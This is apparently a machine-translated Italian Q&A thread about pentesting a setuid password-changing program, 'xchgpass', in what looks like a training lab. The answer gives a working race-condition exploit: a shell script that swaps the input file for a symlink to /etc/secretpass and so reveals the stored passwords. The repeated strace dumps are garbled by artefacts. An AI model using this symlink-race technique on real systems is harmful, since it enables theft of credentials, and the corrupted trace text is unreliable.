software Pentest con condizioni di gara

1

Devo pentestare un programma "xchgpass" che si comporta come passwd. Questo "xchgpass" modifica un file situato in / etc / secretpass.

xchgpass ha setuid bit impostato:

hacker@cours-info:~$ ls -l /usr/bin/xchgpass 
-rwsr-xr-x 1 level7 hackers 9992 Jan 18 08:22 /usr/bin/xchgpass

Il secretpass contiene login e password per un'app. Sotto il permesso di / etc / secretpass:

-rw------- 1 level7 hackers 59 Jan 18 08:19 /etc/secretpass

xchgpass legge un file dato in argomenti. Il file specificato contiene login e una nuova password per un utente. Se l'accesso fornito nel file di input corrisponde a un accesso in / etc / secretpass, viene aggiornata la password dell'utente in / etc / secretpass.

Il file di input è stato formattato in questo modo:

2
alice:azertyui
bob:qsdfghjk

La prima riga era il numero di login da elaborare e la riga successiva è il login con la nuova password desiderata.

Se eseguo strace su xchgpass, ho questo:

execve("/usr/bin/xchgpass", ["/usr/bin/xchgpass", "/dev/null"], [/* 19 vars */]) = 0
brk(0)                                  = 0x15be000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd84000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=7012, ...}) = 0
mmap(NULL, 7012, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7faf0fd82000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "7ELF
execve("./xchgpass", ["./xchgpass", "e"], [/* 22 vars */]) = 0
brk(NULL)                               = 0x1310000
fcntl(0, F_GETFD)                       = 0
fcntl(1, F_GETFD)                       = 0
fcntl(2, F_GETFD)                       = 0
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd6204000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=135186, ...}) = 0
mmap(NULL, 135186, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f3bd61e2000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "7ELF
hacker@cours-info:~$ ls -l /usr/bin/xchgpass 
-rwsr-xr-x 1 level7 hackers 9992 Jan 18 08:22 /usr/bin/xchgpass
-rw------- 1 level7 hackers 59 Jan 18 08:19 /etc/secretpass
2
alice:azertyui
bob:qsdfghjk
execve("/usr/bin/xchgpass", ["/usr/bin/xchgpass", "/dev/null"], [/* 19 vars */]) = 0
brk(0)                                  = 0x15be000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd84000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=7012, ...}) = 0
mmap(NULL, 7012, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7faf0fd82000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "7ELF
execve("./xchgpass", ["./xchgpass", "e"], [/* 22 vars */]) = 0
brk(NULL)                               = 0x1310000
fcntl(0, F_GETFD)                       = 0
fcntl(1, F_GETFD)                       = 0
fcntl(2, F_GETFD)                       = 0
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd6204000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=135186, ...}) = 0
mmap(NULL, 135186, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f3bd61e2000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "7ELF%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%>%pre%%pre%%pre%%pre%P\tb00%pre%%pre%%pre%"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1870352, ...}) = 0
mmap(0x3080600000, 3967392, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3080600000
mprotect(0x30807bf000, 2097152, PROT_NONE) = 0
mmap(0x30809bf000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1bf000) = 0x30809bf000
mmap(0x30809c5000, 14752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x30809c5000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61e1000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61e0000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61df000
arch_prctl(ARCH_SET_FS, 0x7f3bd61e0700) = 0
mprotect(0x30809bf000, 16384, PROT_READ) = 0
mprotect(0x3080425000, 4096, PROT_READ) = 0
munmap(0x7f3bd61e2000, 135186)          = 0
geteuid()                               = 1000
getuid()                                = 0
brk(NULL)                               = 0x1310000
brk(0x1331000)                          = 0x1331000
setresuid(-1, 0, -1)                    = 0
open("e", O_RDONLY)                     = 3
fstat(3, {st_mode=S_IFREG|0664, st_size=7, ...}) = 0
read(3, "1\ned:d\n", 4096)              = 7
close(3)                                = 0
fstat(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 4), ...}) = 0
write(1, "number of logins to change: 1\n", 30number of logins to change: 1
) = 30
fstat(0, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 4), ...}) = 0
write(1, "proceed [y/n] ?", 15proceed [y/n] ?)         = 15
read(0, y
"y\n", 1024)                    = 2
setresuid(-1, 1000, -1)                 = 0
open("/etc/secretpass", O_RDONLY)       = 3
open("e", O_RDONLY)                     = 4
fstat(4, {st_mode=S_IFREG|0664, st_size=7, ...}) = 0
read(4, "1\ned:d\n", 4096)              = 7
fstat(3, {st_mode=S_IFREG|0600, st_size=7, ...}) = 0
read(3, "1\ned:2\n", 4096)              = 7
write(1, "user ed: changed password to d\n", 31user ed: changed password to d
) = 31
read(3, "", 4096)                       = 0
lseek(3, 0, SEEK_SET)                   = 0
lseek(0, -1, SEEK_CUR)                  = -1 ESPIPE (Illegal seek)
exit_group(0)                           = ?
+++ exited with 0 +++
%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%>%pre%%pre%%pre%%pre%P%pre%%pre%%pre%%pre%%pre%"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1738176, ...}) = 0 mmap(NULL, 3844640, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7faf0f7bb000 mprotect(0x7faf0f95c000, 2097152, PROT_NONE) = 0 mmap(0x7faf0fb5c000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a1000) = 0x7faf0fb5c000 mmap(0x7faf0fb62000, 14880, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7faf0fb62000 close(3) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd81000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd80000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd7f000 arch_prctl(ARCH_SET_FS, 0x7faf0fd80700) = 0 mprotect(0x7faf0fb5c000, 16384, PROT_READ) = 0 mprotect(0x7faf0fd86000, 4096, PROT_READ) = 0 munmap(0x7faf0fd82000, 7012) = 0 geteuid() = 1000 getuid() = 1000 brk(0) = 0x15be000 brk(0x15df000) = 0x15df000 setresuid(-1, 1000, -1) = 0 open("/dev/null", O_RDONLY) = 3 fstat(3, {st_mode=S_IFCHR|0666, st_rdev=makedev(1, 3), ...}) = 0 ioctl(3, SNDCTL_TMR_TIMEBASE or SNDRV_TIMER_IOCTL_NEXT_DEVICE or TCGETS, 0x7ffe2b7e0ef0) = -1 ENOTTY (Inappropriate ioctl for device) mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd83000 read(3, "", 4096) = 0 close(3) = 0 munmap(0x7faf0fd83000, 4096) = 0 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd83000 write(1, "number of logins to change: 0\n", 30number of logins to change: 0 ) = 30 fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd82000 write(1, "proceed [y/n] ?", 15proceed [y/n] ?) = 15 read(0, y "y\n", 1024) = 2 setresuid(-1, 1000, -1) = 0 open("/etc/secretpass", O_RDONLY) = -1 EACCES (Permission denied) dup(2) = 3 fcntl(3, F_GETFL) = 0x8002 (flags O_RDWR|O_LARGEFILE) fstat(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd7e000 lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek) write(3, "cannot open secret file: : Permi"..., 45cannot open secret file: : Permission denied ) = 45 close(3) = 0 munmap(0x7faf0fd7e000, 4096) = 0 exit_group(1) = ? +++ exited with 1 +++
%pre%%pre%%pre%%pre%%pre%>%pre%%pre%%pre%%pre%P\tb00%pre%%pre%%pre%"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1870352, ...}) = 0 mmap(0x3080600000, 3967392, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3080600000 mprotect(0x30807bf000, 2097152, PROT_NONE) = 0 mmap(0x30809bf000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1bf000) = 0x30809bf000 mmap(0x30809c5000, 14752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x30809c5000 close(3) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61e1000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61e0000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61df000 arch_prctl(ARCH_SET_FS, 0x7f3bd61e0700) = 0 mprotect(0x30809bf000, 16384, PROT_READ) = 0 mprotect(0x3080425000, 4096, PROT_READ) = 0 munmap(0x7f3bd61e2000, 135186) = 0 geteuid() = 1000 getuid() = 0 brk(NULL) = 0x1310000 brk(0x1331000) = 0x1331000 setresuid(-1, 0, -1) = 0 open("e", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0664, st_size=7, ...}) = 0 read(3, "1\ned:d\n", 4096) = 7 close(3) = 0 fstat(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 4), ...}) = 0 write(1, "number of logins to change: 1\n", 30number of logins to change: 1 ) = 30 fstat(0, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 4), ...}) = 0 write(1, "proceed [y/n] ?", 15proceed [y/n] ?) = 15 read(0, y "y\n", 1024) = 2 setresuid(-1, 1000, -1) = 0 open("/etc/secretpass", O_RDONLY) = 3 open("e", O_RDONLY) = 4 fstat(4, {st_mode=S_IFREG|0664, st_size=7, ...}) = 0 read(4, "1\ned:d\n", 4096) = 7 fstat(3, {st_mode=S_IFREG|0600, st_size=7, ...}) = 0 read(3, "1\ned:2\n", 4096) = 7 write(1, "user ed: changed password to d\n", 31user ed: changed password to d ) = 31 read(3, "", 4096) = 0 lseek(3, 0, SEEK_SET) = 0 lseek(0, -1, SEEK_CUR) = -1 ESPIPE (Illegal seek) exit_group(0) = ? +++ exited with 0 +++
%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%>%pre%%pre%%pre%%pre%P%pre%%pre%%pre%%pre%%pre%"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1738176, ...}) = 0 mmap(NULL, 3844640, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7faf0f7bb000 mprotect(0x7faf0f95c000, 2097152, PROT_NONE) = 0 mmap(0x7faf0fb5c000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a1000) = 0x7faf0fb5c000 mmap(0x7faf0fb62000, 14880, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7faf0fb62000 close(3) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd81000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd80000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd7f000 arch_prctl(ARCH_SET_FS, 0x7faf0fd80700) = 0 mprotect(0x7faf0fb5c000, 16384, PROT_READ) = 0 mprotect(0x7faf0fd86000, 4096, PROT_READ) = 0 munmap(0x7faf0fd82000, 7012) = 0 geteuid() = 1000 getuid() = 1000 brk(0) = 0x15be000 brk(0x15df000) = 0x15df000 setresuid(-1, 1000, -1) = 0 open("/dev/null", O_RDONLY) = 3 fstat(3, {st_mode=S_IFCHR|0666, st_rdev=makedev(1, 3), ...}) = 0 ioctl(3, SNDCTL_TMR_TIMEBASE or SNDRV_TIMER_IOCTL_NEXT_DEVICE or TCGETS, 0x7ffe2b7e0ef0) = -1 ENOTTY (Inappropriate ioctl for device) mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd83000 read(3, "", 4096) = 0 close(3) = 0 munmap(0x7faf0fd83000, 4096) = 0 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd83000 write(1, "number of logins to change: 0\n", 30number of logins to change: 0 ) = 30 fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd82000 write(1, "proceed [y/n] ?", 15proceed [y/n] ?) = 15 read(0, y "y\n", 1024) = 2 setresuid(-1, 1000, -1) = 0 open("/etc/secretpass", O_RDONLY) = -1 EACCES (Permission denied) dup(2) = 3 fcntl(3, F_GETFL) = 0x8002 (flags O_RDWR|O_LARGEFILE) fstat(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd7e000 lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek) write(3, "cannot open secret file: : Permi"..., 45cannot open secret file: : Permission denied ) = 45 close(3) = 0 munmap(0x7faf0fd7e000, 4096) = 0 exit_group(1) = ? +++ exited with 1 +++

Penso che una condizione di gara potrebbe permettermi di leggere il file segreto. Ma non riesco a creare un hard link.

Hai qualche idea su come sfruttare la mia applicazione?

MODIFICA 1: Full strace:

%pre%     
posta McKay1717 20.01.2017 - 13:54
fonte

1 risposta

2

Ho finalmente trovato: In strace, possiamo vedere, il soft apre il file di input con perm utente corrente:

setresuid(-1, 1000, -1)                 = 0
open("/dev/null", O_RDONLY)             = 3

L'hack env ha una shell ristretta e non ha alcuno strumento per scaricare o caricare file o fare hard link. Ma gpg è permesso, quindi ho usato gpg per convertire il binario del soft in ascii. Quindi ho copiare e incollare il ascii in una macchina virtuale locale con un accesso completo alla radice. Ho riprodotto l'env morbido con la mia conoscenza. Quindi, infine, faccio un nuovo strace e foud il syscall eccitato dopo il setuid. In questo striscio possiamo vedere:

setresuid(-1, 1000, -1)                 = 0
open("/etc/secretpass", O_RDONLY)       = 3
open("e", O_RDONLY)                     = 4

Il file viene letto di nuovo con perm setuid dopo aver atteso l'input dell'utente. Quindi potrei sostituire il file di input con un collegamento simbolico. Perché se l'accesso esiste nel file segreto, verrà visualizzato nell'output standard con la nuova password. Quindi ho scritto un piccolo script di shell per sostituire il file di input durante l'esecuzione del soft.

echo "sleep 10; rm secretpass; ln -s /etc/secretpass" > sh
sh -x sh &
/usr/bin/xchgpass secretpass

Finalmente abbiamo potuto vedere con questa condizione di competizione tutta la password memorizzata nel file segreto.

    
risposta data 20.01.2017 - 19:00
fonte